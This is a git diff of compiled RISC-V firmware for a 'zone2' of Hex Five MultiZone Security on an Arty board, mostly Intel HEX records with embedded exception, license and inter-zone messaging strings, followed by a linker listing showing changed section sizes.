+:1025600008C0A6854A85D920FD5963183507B147AB
+:102570002320F9004A857D2B31A0E3D304FCB14729
+:102580002320F9000145F2406244D2444249B24955
+:10259000056182801C40858F63CE07022D466376DD
+:1025A000F6001CC03E9404C029A05C406312870260
+:1025B0009CC24A8541231305B400930744006199E6
+:1025C0003307F540E301F5FC3A94898F1CC065BFE1
+:1025D0005CC3C5B722874040A5BF1304350071987E
+:1025E000E30385FCB305A4404A858920E31D35FB40
+:1025F000BDBF5D7122D406D62A842EDA32DC36DEE7
+:10260000BAC0BEC2C2C4C6C603A5418111C51C4D15
+:1026100081E72AC6752632450C455418228636CEE7
+:10262000EF003046B250225461618280411122C4D1
+:102630002A842E8523A2018206C6AD31FD5763167A
+:10264000F50083A7418291C31CC0B24022444101DE
+:1026500082803571A6DA86DEA2DCCAD836C73AC9CE
+:102660003ECB42CD46CF83A4418163DC0500930776
+:10267000B0089CC07D55F6506654D65446590D613D
+:10268000828093078020231AF1002AC42ACC2E844A
+:10269000814799C19387F5FF7D5974012C002685E8
+:1026A0003EC83ECE231B210136C2A52B6355250112
+:1026B0009307B0089CC061D0A2472380070065BF84
+:1026C0000346050083C60500050585056313D6008E
+:1026D00065FA3305D6408280AA8703C707008507BD
+:1026E0006DFF3385A7407D1582800DC67D1601479D
+:1026F000B307E500B386E50083C7070083C606007D
+:102700006394D7006315C7003385D74082800507DF
+:10271000E5F3DDBF01458280AA95AA876385B700EE
+:1027200003C7070001E73385A74082808507FDB70F
+:102730008DE16F00D06F93071500AA84A2853E85B6
+:10274000EF00F06E6DF9B2402244268592444101BB
+:102750008280411122C426C206C6AA872E848144E3
+:10276000F1BF95B6397132D436D63EDAB2863C1016
+:102770002E86AA8503A5418106CE3AD842DC46DEE4
+:102780003EC6EF009059F24021618280B2862E86CB
+:10279000AA8503A541816F00105BB2862E86AA85AB
+:1027A00003A5418109A0411122C42A842E85B28546
+:1027B000368623A2018206C64136FD576316F50010
+:1027C00083A7418291C31CC0B24022444101828050
+:1027D000AA88138501821C4181EF1387418F18C19C
+:1027E00013050000BA8709C51C412324F708BA87DE
+:1027F000D8437D487D556346E804638D080203A8ED
+:1028000087086300080413152700429510C10323AD
+:10281000081005463316E6003363C3002320681012
+:102820002320D50889466397D80083264810558E03
+:102830002322C810930617000A07D4C3BA978CC77F
+:1028400001458280797156CA5AC85EC662C406D6EE
+:1028500022D426D24AD04ECE52CC66C22A8BAE8A21
+:10286000938B0182054C83A40B0081CCC04083A9CB
+:1028700084081309F4FF0A04338A89002694635FED
+:102880000900B250225492540259F249624AD24A83
+:10289000424BB24B224C924C45618280638C0A00C1
+:1028A000639609007D19711A7114D1BF8327CA0775
+:1028B000E39A57FFD8405C407D176318270323A293
+:1028C0002401EDD383AC44006388090083A609107A
+:1028D00033172C01F98E89EE8297D84083A70B001D
+:1028E000E31397F9E380F4FCBDBF23220400D1BFBA
+:1028F00083A649108325CAFF758F01E75A85829701
+:10290000E9BF2E858297D1BF411122C406C62A8411
+:102910002316B5002317C500232005002322050038
+:10292000232405002322050623280500232A050069
+:10293000232C0500214681451305C505253E971723
+:102940000000938747C35CD0971700009387A7C503
+:102950001CD497170000938707CA5CD49717000010
+:102960009387C7CCB24000D01CD82244410182805A
+:10297000971500009385450181AA411126C21306CF
+:1029800080069384F5FFB384C4024AC02E8922C412
+:1029900006C69385440771362A8401CD232005009D
+:1029A00023222501310508C4138684068145EFF0F2
+:1029B0007FACB24022852244924402494101828088
+:1029C0001C4DBDE3411122C406C697070000938742
+:1029D00067FA1CD5232405042326050423280504AF
+:1029E00097B7C05F83A707E82A846314F50085477B
+:1029F0001CCD22851D2848C02285052808C42285B3
+:102A00002D2048C4484001469145FD3D08440546F7
+:102A1000A545DD3D48440946C945FD358547B240D9
+:102A20001CCC2244410182808280411126C297B48D
+:102A3000C05F83A424E39C4C4AC006C622C42A89F2
+:102A400099E32685B53F938484048044DC40FD17D8
+:102A500063D607009C40B9CF8440C5BF0317C400AC
+:102A600039E7C177850723220406232004002322A7
+:102A70000400232404005CC423280400232A040047
+:102A8000232C0400214681451305C405EFF09F9EC9
+:102A9000232A0402232C04022324040423260404EE
+:102AA000B2402285224492440249410182801304AB
+:102AB000840671BF91454A85C93588C02A8449FD7D
+:102AC000B1472320F900E9BF797122D44AD04ECE14
+:102AD00052CC5AC85EC606D626D256CA2A892E8A33
+:102AE000130485048149054BFD5B0444832A44009B
+:102AF000FD1A63D00A0200406DF8B250225492547D
+:102B00000259624AD24A424BB24B4E85F249456164
+:102B1000828083D7C400637BFB008397E4006387D4
+:102B20007701A6854A85029AB3E9A90093848406B1
+:102B3000C1B78280828001114AC803A9850022CCD6
+:102B40004EC652C406CE26CA56C25AC02E84328AF7
+:102B5000B68963EE260983D7C50013F7074851C726
+:102B600004408C4958482A8BB38AB4408D44B384BE
+:102B7000E4020947B3C4E40213871600569763F3CF
+:102B8000E400BA8493F70740D1C3A6855A85EFF0D5
+:102B90005F992A890DE5B1472320FB008357C400C4
+:102BA0007D5593E707042316F400F2406244D244B3
+:102BB0004249B249224A924A024B056182800C483E
+:102BC0005686EFF07F878357C40093F7F7B793E7F4
+:102BD00007082316F4002328240144C85699B38417
+:102BE00054412320240104C44E8963F329014E89F2
+:102BF00008404A86D285EFF09F851C440145B38783
+:102C000027411CC41C40CA971CC045B726865A855C
+:102C1000EF0090712A8961F10C485A85EFF09F8688
+:102C20009DBF83D7C500357122CD26CB4AC952C579
+:102C300006CF4EC756C35AC1DEDEE2DCE6DA93F7B2
+:102C400007082A8A2E89B2843684A9C39C499DEF3D
+:102C500093050004EFF0FF8C2320A9002328A9008E
+:102C600015E1B1472320FA007D55FA406A44DA4461
+:102C70004A49BA492A4A9A4A0A4BF65B665CD65CCC
+:102C80000D61828093070004232AF9009307000254
+:102C9000A304F1029307000302D22305F10222C626
+:102CA000930B5002971A0000938A8A7E054C294B99
+:102CB00026848347040099C3639C7709B30C94402E
+:102CC000630D9400E6862686CA855285AD35FD578C
+:102CD0006302F51A9257E6973ED283470400638B4E
+:102CE0000718FD579304140002C802CE3ECA02CC56
+:102CF000A309010482D483C5040015465685EF005C
+:102D00001061C2471384140031E513F7070109C7A6
+:102D100013070002A309E10413F7870009C713078B
+:102D2000B002A309E10483C604001307A002638B69
+:102D3000E602F247268481462546034704009305B0
+:102D40001400130707FD6374E6068DC63ECE1DA072
+:102D5000050485B7330555413315AC00C98F3EC80E
+:102D6000A28451BF324793064700184336C66349D1
+:102D700007023ACE034704009307E002631FF704FB
+:102D8000034714009307A002631BF702B24709042C
+:102D9000138747009C433AC663C107023ECA35A861
+:102DA0003307E04093E727003ACE3EC8E1B7B38748
+:102DB00067032E848546BA9749B7FD57C5B7050402
+:102DC00002CA814681472546034704009305140043
+:102DD000130707FD6376E606F1F2834504000D460E
+:102DE000171500001305456BEF00705211CD9717B2
+:102DF00000009387676A1D8D93070004B397A700AF
+:102E0000424505045D8D2AC88345040019461715FF
+:102E100000001305A568930414002304B102EF0019
+:102E2000104F35C19307000095E74247B24713772B
+:102E3000071009CF91073EC69257CE973ED28DBD5F
+:102E4000B38767032E848546BA97BDBF9D07E19B74
+:102E5000A107D5B7780097060000938606CE4A866C
+:102E60000C08528597000000E7000000FD57AA8972
+:102E7000E314F5FC8357C9007D5593F70704E396E7
+:102E800007DE1255DDB37800970600009386E6CA88
+:102E90004A860C085285012AD1BF797152CC9C49CF
+:102EA0003A8A984522D426D24ECE56CA06D64AD061
+:102EB0005AC85EC6AA892E84B284B68A63D3E70054
+:102EC000BA879CC00347340419C385079CC01C40C3
+:102ED00093F7070281C79C4089079CC0032904001F
+:102EE00013796900631A0900130B9401FD5B5C44BC
+:102EF0009840998F634CF90483473404B336F0004B
+:102F00001C4093F70702A5EB13063404D6854E85C3
+:102F1000029AFD576303F5041C4011469840998BB3
+:102F2000544481446397C700B384E64063D30400EC
+:102F300081441C4418486354F700998FBE9401499A
+:102F400069047D5B63982405014509A885465A8676
+:102F5000D6854E85029A631E75017D55B250225466
+:102F600092540259F249624AD24A424BB24B4561ED
+:102F700082800509ADBF3307D40013060003A30107
+:102F8000C7040347540493871600A2978906A381B8
+:102F9000E7049DBF85462286D6854E85029AE30EBC
+:102FA00065FB050945B7797122D426D24AD04ECEA9
+:102FB00006D652CC56CA5AC803C885019307800763
+:102FC000AA842E843289B68963EE0701930720060E
+:102FD0009386350463ED07016305081C930780059C
+:102FE000630AF812930A24042301040515A8930721
+:102FF000D8F993F7F70F5546E366F6FE171600006B
+:103000001306C64C8A07B2979C43B29782871C432B
+:10301000938A2504938647009C4314C32381F504B7
+:10302000854765A29C41084313F6070893054500B0
+:103030000DC21C410CC363D807001307D002B307AD
+:10304000F040A301E404171600001306A645294822
+:10305000A1A013F607041C410CC371DEC207C1878F
+:10306000D9BF90411C43137506089385470001C5DD
+:103070000CC39C4339A0137606040CC37DDA83D7B6
+:1030800007001307F006171600001306A641630495
+:10309000E80E2948A3010404584018C463450700FA
+:1030A0000C40ED990CC099E3B68A19CFB68A33F774
+:1030B0000703FD1A3297034707002380EA003E8783
+:1030C000B3D70703E37507FFA147631EF8001C4051
+:1030D000858B91CB58401C4863C7E70093070003DA
+:1030E000A38FFAFEFD1AB386564114C84E87CA86CE
+:1030F0007000A285268555337D5A631C450D7D558C
+:10310000B250225492540259F249624AD24A424B76
+:1031100045618280A38205051716000013068638D4
+:103120000C40084313F805081C411105630D080203
+:1031300008C313F7150001C793E505020CC0414809
+:10314000B1FB18401377F7FD18C0A9B79C4193E76E
+:1031500007029CC193078007A302F404171600001E
+:103160001306863575BF13F8050408C3E30308FC8E
+:10317000C207C1837DBF214831BF90411C43CC4968
+:1031800013780608138547006306080008C39C43AC
+:103190008CC301A808C3137606049C4375DA2390F8
+:1031A000B70023280400B68A91B71C43D04181455B
+:1031B0009386470014C383AA07005685EF00301595
+:1031C00001C53305554148C05C401CC8A301040437
+:1031D00031BF14485686CA8526858299E30145F396
+:1031E0001C40898B8DE7B2474844E35BF5F03E8590
+:1031F00001BF85465686CA8526858299E30165F119
+:10320000050A5C443247998FE345FAFEE9BF014A5B
+:10321000930A94017D5BF5B71C46FD171CC663D964
+:103220000700184E63C5E700A9476393F50029A975
+:103230001C422E851387170018C22380B700828096
+:10324000011122CC26CA4AC84EC652C406CE2A89CB
+:10325000AE893284B304D6007D5A631494000145CC
+:1032600009A8834504004E864A857D370504E31688
+:1032700045FFF2406244D2444249B249224A0561C4
+:103280008280357122CD26CB4AC94EC706CF52C5A2
+:1032900056C35AC1DEDEE2DCE6DAAA89AE843289A0
+:1032A000368409C51C4D99E3EFF08FF197170000A4
+:1032B0009387071A639CF40C83A4490083D7C40046
+:1032C000A18BFDC79C48EDC793070002A304F10240
+:1032D0009307000302D22305F10222C6930B50028A
+:1032E000971A0000938ACA1A054C294B4A848347CF
+:1032F000040099C36390770FB30C2441630D24013C
+:10330000E6864A86A6854E85253FFD576304F51E51
+:103310009257E6973ED283470400638D071CFD5702
+:103320001309140002C802CE3ECA02CCA30901044C
+:1033300082D48345090015465685EF00407DC2477B
+:103340001304190051E913F7070109C71307000215
+:10335000A309E10413F7870009C71307B002A30903
+:10336000E104834609001307A002638FE606F247D3
+:103370004A84814625460347040093051400130739
+:1033800007FD6378E60AADCA3ECEBDA097170000E0
+:103390009387070E6395F40083A4890005B79717F8
+:1033A00000009387E708E39BF4F083A4C90039B7D2
+:1033B000A6854E85992E09D97D55FA406A44DA448E
+:1033C0004A49BA492A4A9A4A0A4BF65B665CD65C75
+:1033D0000D618280050421BF330555413315AC00D2
+:1033E000C98F3EC82289B1B73247930647001843B8
+:1033F00036C6634907023ACE034704009307E0024A
+:10340000631FF704034714009307A002631BF7022E
+:10341000B2470904138747009C433AC663C10702B9
+:103420003ECA35A83307E04093E727003ACE3EC8AE
+:10343000E1B7B38767032E848546BA972DBFFD5742
+:10344000C5B7050402CA81468147254603470400E3
+:1034500093051400130707FD6374E606F1F2834534
+:1034600004000D4617150000130505034D2511CD69
+:1034700097170000938747021D8D93070004B397A9
+:10348000A700424505045D8D2AC8834504001946FE
+:103490001715000013058500130914002304B10259
+:1034A000BD252DC19307000095E74247B24713772A
+:1034B000071009CF91073EC69257D2973ED23DB52D
+:1034C000B38767032E848546BA9749B79D07E19B6A
+:1034D000A107D5B77800970600009386A6D6268662
+:1034E0000C084E8597000000E7000000FD572A8A6F
+:1034F000E314F5FC83D7C40093F70704E39E07EABF
+:10350000125565BD7800970600009386A6D32686DF
+:103510000C084E85EFF03FA9D1BF411122C42A8487
+:103520002E85B285368623A2018206C6EFE05FDAD9
+:10353000FD576316F50083A7418291C31CC0B240BA
+:10354000224441018280411122C42A842E85B28501
+:10355000368623A2018206C6EFE07FDAFD576316A6
+:10356000F50083A7418291C31CC0B24022444101AF
+:103570008280411122C42E848395E50006C6E1377E
+:10358000634905007C48AA977CC8B24022444101A7
+:1035900082808357C4007D777D17F98F2316F4004E
+:1035A000EDB783D7C500011122CC26CA4AC84EC642
+:1035B00006CE93F70710AA842E843289B68991C764
+:1035C0008395E500894601460D218357C4007D7728
+:1035D0007D17F98F8315E4002316F4006244F2404E
+:1035E000CE864A86B24942492685D24405616FF0AB
+:1035F0008F9B411122C42E848395E50006C6F526D3
+:10360000FD570357C400631BF500FD77FD17F98FC5
+:103610002316F400B2402244410182808567D98F8D
+:103620002316F40068C8FDB78395E500E5A293F57D
+:10363000F50F8347050091C76393B70082800505A6
+:10364000CDBF91C101458280011122CC26CA4AC852
+:1036500006CE4EC6AA842E89328409C51C4D99E334
+:10366000EFF00FB697170000938787DE6319F40613
+:10367000C0401C4C1CC48357C400A18BC9C31C4848
+:10368000BDCF1C4808409379F90F1379F90F1D8DB0
+:103690005C486346F500A2852685ED242DE51C4493
+:1036A0000505FD171CC41C401387170018C0238094
+:1036B00037015C486389A7008357C400858B81CBA1
+:1036C000A9476316F900A28526856D2C0DEDF24001
+:1036D0006244D244B2494A854249056182809717C3
+:1036E00000009387E7D86314F400804459B7971714
+:1036F00000009387E7D3E31EF4F6C0449DBFA28584
+:10370000268521203DDD7D59D9B7411122C426C22D
+:103710004AC006C683A441812A892E8491C49C4C48
+:1037200081E72685EFF0CFA997170000938747D24E
+:103730006317F402C0408317C4001397070193F680
+:1037400087004183B5EA9376070195EA2547232050
+:10375000E90093E707042316F4007D5579A897172D
+:1037600000009387E7D06314F4008044E9B797170B
+:1037700000009387E7CBE310F4FCC0446DBF118BCE
+:1037800015C74C5891C9930744046385F5004A85D1
+:10379000EFE05FCF232A04028357C40023220400F2
+:1037A00093F7B7FD2316F4001C481CC08357C400D0
+:1037B00093E787002316F4001C4881EF8357C40069
+:1037C0001307002093F707286385E700A2854A8541
+:1037D00045248317C4001397070193F6170041830C
+:1037E0009DC2544823240400B306D04014CC14488E
+:1037F000014581E61377070829FFB240224492442D
+:1038000002494101828093762700014691E25048A7
+:1038100010C4F1BF411122C42A842E8523A2018243
+:1038200006C6EFE07FA7FD576316F50083A7418228
+:1038300091C31CC0B24022444101828083D7C5009D
+:10384000011122CC26CA06CE4AC84EC613F78700FD
+:10385000AA842E847DE3D8416347E000B8416344E5
+:10386000E00001457DA858546DDF856603A904007A
+:10387000F58F23A00400ADCF68488357C400918B17
+:1038800099C75C401D8D5C5899C33C401D8D5C54AC
+:103890000C502A86814626858297FD570357C4001F
+:1038A000631DF5009440F54763E4D708B70740204F
+:1038B0008507B3D7D700858BA5CF1C4823220400EA
+:1038C0001CC085677D8F19C7FD576314F5009C40A8
+:1038D00091E368C84C5823A02401C1D59307440440
+:1038E0006385F5002685EFE0FFB9232A040295BF22
+:1038F0000C508546014626850297FD57E31FF5F6D5
+:103900009C40A5DF75476385E70059476395E7004D
+:1039100023A02401B9B78357C40093E707042316F3
+:10392000F400F2406244D2444249B24905618280C7
+:10393000136707042316E400EDB783A90501E382AA
+:1039400009F203A905008D8B23A035013309394104
+:10395000014791E3D84918C4E35520F11C540C5099
+:10396000CA864E8626858297634AA0008357C40084
+:103970007D5593E707042316F40065B7AA99330928
+:10398000A940D9BF9C49A5C3011122CC06CE2A84E7
+:1039900019C51C4D89E72EC6EFF08F82B2459717E7
+:1039A00000009387E7AA639BF5004C408397C5000E
+:1039B00095C722856244F240056149B5971700001A
+:1039C000938707AB6394F5000C44CDB797170000BD
+:1039D000938707A6E39CF5FC4C44C9BFF2406244C0
+:1039E00001450561828001458280411122C42A84FB
+:1039F0002E85B285368623A2018206C6EFE01F8D92
+:103A0000FD576316F50083A7418291C31CC0B240E5
+:103A10002244410182805971CAD02E898395E500E4
+:103A2000A2D4A6D286D63284B68463DC050083177E
+:103A3000C90023A0040093F707088DE39307004013
+:103A400005A03000A122E34405FE3247BD67F98F8F
+:103A50007977BA9793B717009CC0CDB79307000446
+:103A6000B6501CC0265496540659014565618280A3
+:103A700083D7C500011122CC06CE26CA4AC8898B3D
+:103A80002E8489CF930774041CC01CC885475CC86A
+:103A9000F2406244D24442490561828074003000A1
+:103AA0002A89953FA245AA844A85EFE09FA701EDA8
+:103AB0008317C40013F7072061FFF19B93E72700EA
+:103AC0002316F400C1B797F7FFFF9387A7EA2324D3
+:103AD000F9028357C40008C008C893E707082316F3
+:103AE000F400A2475CC8B24789CF8315E4004A8539
+:103AF000D92001C98357C400F19B93E7170023160F
+:103B0000F4000355C400C98C2316940051B793F5F3
+:103B1000F50F2A966314C50001458280834705008E
+:103B2000E38DB7FE0505FDB7011122CC06CE26CAEE
+:103B30004AC84EC6328491E96244F240D2444249B6
+:103B4000B249B28505616FE0DF9D01EEEFE09F9322
+:103B50008144F24062444249B2492685D24405611B
+:103B600082802E89AA89A528CA84E37485FEA2854D
+:103B70004E85EFE01F9BAA8469DDCA852286EFE0AF
+:103B8000BF8BCA854E85EFE0FF8FE1B7411122C49C
+:103B90002A842E85B28523A2018206C6EFE00FF0AB
+:103BA000FD576316F50083A7418291C31CC0B24044
+:103BB000224441018280411122C42A842E8523A2FD
+:103BC000018206C6EFE02FF0FD576316F50083A7CC
+:103BD000418291C31CC0B24022444101828083A72C
+:103BE000C5FF1385C7FF63D50700AA959C413E9585
+:043BF000828001A02E
+:043BF40000000000CD
+:103BF800496E737472756374696F6E206164647260
+:103C0800657373206D697373616C69676E65642091
+:103C18003A203078253038782030782530387820A8
+:103C2800307825303878200A00000000496E737417
+:103C380072756374696F6E20616363657373206660
+:103C480061756C74203A20307825303878203078C7
+:103C58002530387820307825303878200A00000060
+:103C6800496C6C6567616C20696E737472756374F6
+:103C7800696F6E203A2030782530387820307825E2
+:103C880030387820307825303878200A0000000055
+:103C9800427265616B706F696E74203A20307825C6
+:103CA800303878203078253038782030782530380A
+:103CB80078200A004C6F61642061646472657373D4
+:103CC800206D697373616C69676E6564203A203092
+:103CD80078253038782030782530387820307825A5
+:103CE800303878200A0000004C6F616420616363FB
+:103CF800657373206661756C74203A2030782530BE
+:103D08003878203078253038782030782530387861
+:103D1800200A000053746F72652F414D4F20616473
+:103D28006472657373206D697373616C69676E651E
+:103D380064203A203078253038782030782530389B
+:103D48007820307825303878200A000053746F7254
+:103D58006520616363657373206661756C74203ACE
+:103D68002030782530387820307825303878203061
+:103D78007825303878200A00456E7669726F6E6D46
+:103D8800656E742063616C6C2066726F6D20552DB2
+:103D98006D6F6465203A2030782530387820307887
+:103DA8002530387820307825303878200A0000000F
+:103DB800456E7669726F6E6D656E742063616C6CAA
+:103DC8002066726F6D20532D6D6F6465203A203028
+:103DD80078253038782030782530387820307825A4
+:103DE800303878200A000000456E7669726F6E6D73
+:103DF800656E742063616C6C2066726F6D204D2D4A
+:103E08006D6F6465203A2030782530387820307816
+:103E18002530387820307825303878200A0000009E
+:103E28001B371B5B324B00000D444D4120747261FF
+:103E38006E7366657220636F6D706C657465200AB9
+:103E480000000000736F75726365203A2030782592
+:103E5800303878200A000000646573742020203A06
+:103E680020307825303878200A00000073697A6598
+:103E78002020203A20307825303878200A000000A9
+:103E88001B381B5B344200000D4D616368696E6529
+:103E98002074696D657220696E74657272757074CC
+:103EA800203A203078253038782030782530387816
+:103EB80020307825303878200A0000000A5A32204D
+:103EC8003E202573000000001B381B5B32420000B7
+:103ED800457863657074696F6E203A2030782530B4
+:103EE8003878203078253038782030782530387880
+:103EF800200A0000507265737320616E79206B652B
+:103F08007920746F2072657374617274200A0000DE
+:103F1800BCDBFFFFEEDBFFFFFCDBFFFF0ADCFFFF84
+:103F280018DCFFFF64DCFFFF78DCFFFF9CDCFFFF91
+:103F3800AADCFFFFB8DCFFFFAEDBFFFFC6DCFFFF3C
+:103F480055415254000000001B5B324A1B5B48007D
+:103F58003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D89
+:103F68003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D79
+:103F78003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D69
+:103F88003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D59
+:103F98003D3D3D3D3D0A00002020202020200920F5
+:103FA8002020202020202020202020204865782044
+:103FB80046697665204D756C74695A6F6E65C2AE38
+:103FC8002053656375726974792020202020202091
+:103FD800202020202020202020202020200A00002F
+:103FE80020202020436F70797269676874C2A92005
+:103FF800323032302048657820466976652053652E
+:104008006375726974792C20496E632E202D2041C6
+:104018006C6C205269676874732052657365727698
+:104028006564202020200A00546869732076657230
+:1040380073696F6E206F66204D756C74695A6F6E68
+:1040480065C2AE20536563757269747920697320FF
+:104058006D65616E7420666F72206576616C75613E
+:1040680074696F6E20707572706F736573200A00C3
+:104078006F6E6C792E20417320737563682C2075E0
+:104088007365206F66207468697320736F66747730
+:1040980061726520697320676F7665726E6564204A
+:1040A800627920746865204576616C756174696F02
+:1040B8006E202020200A00004C6963656E73652E0F
+:1040C800205468657265206D6179206265206F747F
+:1040D8006865722066756E6374696F6E616C206CBA
+:1040E800696D69746174696F6E73206173206465AA
+:1040F8007363726962656420696E2020200A00007B
+:10410800746865206576616C756174696F6E20539B
+:10411800444B20646F63756D656E746174696F6E6E
+:104128002E2054686520636F6D6D65726369616CDC
+:104138002076657273696F6E206F662074686520DB
+:1041480020202020200A0000736F66747761726552
+:1041580020646F6573206E6F7420686176652074C3
+:1041680068657365207265737472696374696F6ECC
+:10417800732E2020202020202020202020202020D6
+:10418800202020202020202020202020200A00007D
+:104198000A0D5A32203E20007A6D2D3E646174610A
+:1041A8003A2025730A00000053746F72696E672005
+:1041B80072762076616C756520696E207A6D2D3E69
+:1041C800646174610A00000053656E64696E67205B
+:1041D800726573706F6E736520746F207A6F6E6589
+:1041E8002031202D2072763D3D25750A0000000003
+:1041F8004D6573736167652073656E7420746F20F5
+:104208007A6F6E6520320A00526563656976656467
+:104218002061205A6F6E654D65737361676520690B
+:104228006E207A6F6E6520322066726F6D207A6F0D
+:104238006E6520322E20496E74656E6465643F0A8F
+:10424800000000006D795F7365637265745F616477
+:104258006D696E5F6E616D65000000005472616E7D
+:10426800736D697373696F6E4C00000070696E67D7
+:1042780000000000706F6E67000000000D5A256492
+:10428800203E202573200A000D5A32203E20257337
+:104298000000000072656365697665642061205AD4
+:1042A8004D2D486561646572206D6573673A2025F8
+:1042B80073253032750A0000446573657269616C54
+:1042C800697A656420746865205A4D2D4865616473
+:1042D8006572206D6573670A000000005365726996
+:1042E800616C697A696E67207669612066756E63AC
+:1042F80074696F6E2063616C6C0A000053657269A3
+:10430800616C697A6174696F6E2073756363657334
+:104318007366756C0A000000696E207365636F6EC2
+:10432800642069662073636F70650A006465636C56
+:1043380061726564206462670A00000041737369F2
+:10434800676E65642022412220746F206462670AC8
+:1043580000000000436F7079696E6720696E746FA2
+:1043680020646267206275666665723A2066726FBD
+:104378006D20706F736974696F6E207A6D62202B7F
+:104388002025303275202B20253032752077726930
+:1043980074696E6720253032752042797465730A16
+:1043A8000000000053657269616C697A6564206970
+:1043B8006E746F3A205B25735D5B253032755D5BEB
+:1043C800253032755D0A000053657269616C697A3F
+:1043D800656420696E746F3A205B25735D5B2530D8
+:1043E80032755D5B25735D0053656E743A202573E5
+:1043F800253032750A00000053656E743A20253066
+:1044080032750A0053656E742077686F6C65206D8D
+:1044180065737361676520746F207A6F6E652031EC
+:104428000A0000000000000000000000000000007A
+:104438000000000000000000000000000000000074
+:104448000000000000000000000000000000000064
+:104458000000000000000000000000000000000054
+:104468000000000000000000000000000000000044
+:104478000000000000000000000000000000000034
+:1044880000000000232D302B20000000686C4C0039
+:104498006566674546470000303132333435363774
+:1044A8003839414243444546000000003031323338
+:1044B8003435363738396162636465660000000058
+:1044C80046EBFFFF5CEBFFFF1CEBFFFF1CEBFFFF66
+:1044D8001CEBFFFF1CEBFFFF5CEBFFFF1CEBFFFF80
+:1044E8001CEBFFFF1CEBFFFF1CEBFFFFB2ECFFFF19
+:1044F8009AEBFFFF84ECFFFF1CEBFFFF1CEBFFFFB9
+:10450800E2ECFFFF1CEBFFFF9AEBFFFF1CEBFFFF4A
+:084518001CEBFFFF8CECFFFF20
+:10452000000000004C4440206C4440202C444020BB
+:10453000000000000000000000000000000000007B
+:10454000000000000000000000000000000000006B
+:10455000000000000000000000000000000000005B
+:10456000000000000000000000000000000000004B
+:10457000000000000000000000000000000000003B
+:1045800000D800804C424020D4D8008014D900804C
+:08459000E0E1008000D800808A
 :04000005204018007F
 :00000001FF
diff --git a/ArtyImplementation/zone2/zone2.lst b/ArtyImplementation/zone2/zone2.lst
index 9e6d4cf..6e3565a 100644
--- a/ArtyImplementation/zone2/zone2.lst
+++ b/ArtyImplementation/zone2/zone2.lst
@@ -7,42 +7,42 @@ start address 0x20401800
 
 Program Header:
     LOAD off    0x00000000 vaddr 0x20401000 paddr 0x20401000 align 2**12
-         filesz 0x00004fe0 memsz 0x00004fe0 flags r-x
-    LOAD off    0x00005800 vaddr 0x8000d800 paddr 0x20405fe0 align 2**12
-         filesz 0x00000080 memsz 0x00000080 flags rw-
-    LOAD off    0x00000880 vaddr 0x8000d880 paddr 0x8000d880 align 2**12
-         filesz 0x00000000 memsz 0x00000f80 flags rw-
+         filesz 0x00003520 memsz 0x00003520 flags r-x
+    LOAD off    0x00003800 vaddr 0x8000d800 paddr 0x20404520 align 2**12
+         filesz 0x00000078 memsz 0x00000078 flags rw-
+    LOAD off    0x00000878 vaddr 0x8000d878 paddr 0x8000d878 align 2**12
+         filesz 0x00000000 memsz 0x00000f88 flags rw-
 
 Sections:
 Idx Name              Size      VMA       LMA       File off  Algn  Flags
   0 .init             00000070  20401800  20401800  00000800  2**3  CONTENTS, ALLOC, LOAD, READONLY, CODE
-  1 .text             000039a8  20401870  20401870  00000870  2**3  CONTENTS, ALLOC, LOAD, READONLY, CODE
-  2 .rodata           00000dc8  20405218  20405218  00004218  2**3  CONTENTS, ALLOC, LOAD, READONLY, DATA
-  3 .data             00000070  8000d800  20405fe0  00005800  2**3  CONTENTS, ALLOC, LOAD, DATA
-  4 .sdata            00000010  8000d870  20406050  00005870  2**3  CONTENTS, ALLOC, LOAD, DATA
-  5 .bss              000002f8  8000d880  8000d880  00005880  2**3  ALLOC
-  6 .stack            00000800  8000db80  8000db80  00005880  2**4  ALLOC
-  7 .heap             00000480  8000e380  8000e380  00005880  2**3  ALLOC
-  8 .riscv.attributes 0000002b  00000000  00000000  00005880  2**0  CONTENTS, READONLY
-  9 .comment          00000012  00000000  00000000  000058ab  2**0  CONTENTS, READONLY
- 10 .debug_line       00004017  00000000  00000000  000058bd  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
- 11 .debug_info       00003601  00000000  00000000  000098d4  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
- 12 .debug_abbrev     00000951  00000000  00000000  0000ced5  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
- 13 .debug_aranges    00000150  00000000  00000000  0000d828  2**3  CONTENTS, READONLY, DEBUGGING, OCTETS
- 14 .debug_str        0000a620  00000000  00000000  0000d978  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
- 15 .debug_loc        0000265c  00000000  00000000  00017f98  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
- 16 .debug_ranges     00000540  00000000  00000000  0001a5f4  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
- 17 .debug_macro      00002d40  00000000  00000000  0001ab34  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
- 18 .debug_frame      0000033c  00000000  00000000  0001d874  2**2  CONTENTS, READONLY, DEBUGGING, OCTETS
+  1 .text             00002384  20401870  20401870  00000870  2**3  CONTENTS, ALLOC, LOAD, READONLY, CODE
+  2 .rodata           00000928  20403bf8  20403bf8  00002bf8  2**3  CONTENTS, ALLOC, LOAD, READONLY, DATA
+  3 .data             00000060  8000d800  20404520  00003800  2**3  CONTENTS, ALLOC, LOAD, DATA
+  4 .sdata            00000018  8000d860  20404580  00003860  2**3  CONTENTS, ALLOC, LOAD, DATA
+  5 .bss              00000168  8000d878  8000d878  00003878  2**3  ALLOC
+  6 .stack            00000800  8000d9e0  8000d9e0  00003878  2**4  ALLOC
+  7 .heap             00000620  8000e1e0  8000e1e0  00003878  2**3  ALLOC
+  8 .riscv.attributes 0000002b  00000000  00000000  00003878  2**0  CONTENTS, READONLY
+  9 .comment          00000012  00000000  00000000  000038a3  2**0  CONTENTS, READONLY
+ 10 .debug_line       00002710  00000000  00000000  000038b5  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 11 .debug_info       00001fc7  00000000  00000000  00005fc5  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 12 .debug_abbrev     000006e9  00000000  00000000  00007f8c  2**0  CONTENTS, READONLY, DEBUGGING, OCTETS
+ 13 .debug_aranges    00000120  00000000  00000000  00008678  2**3  CONTENTS, READONLY, DEBUGGING, OCTETS
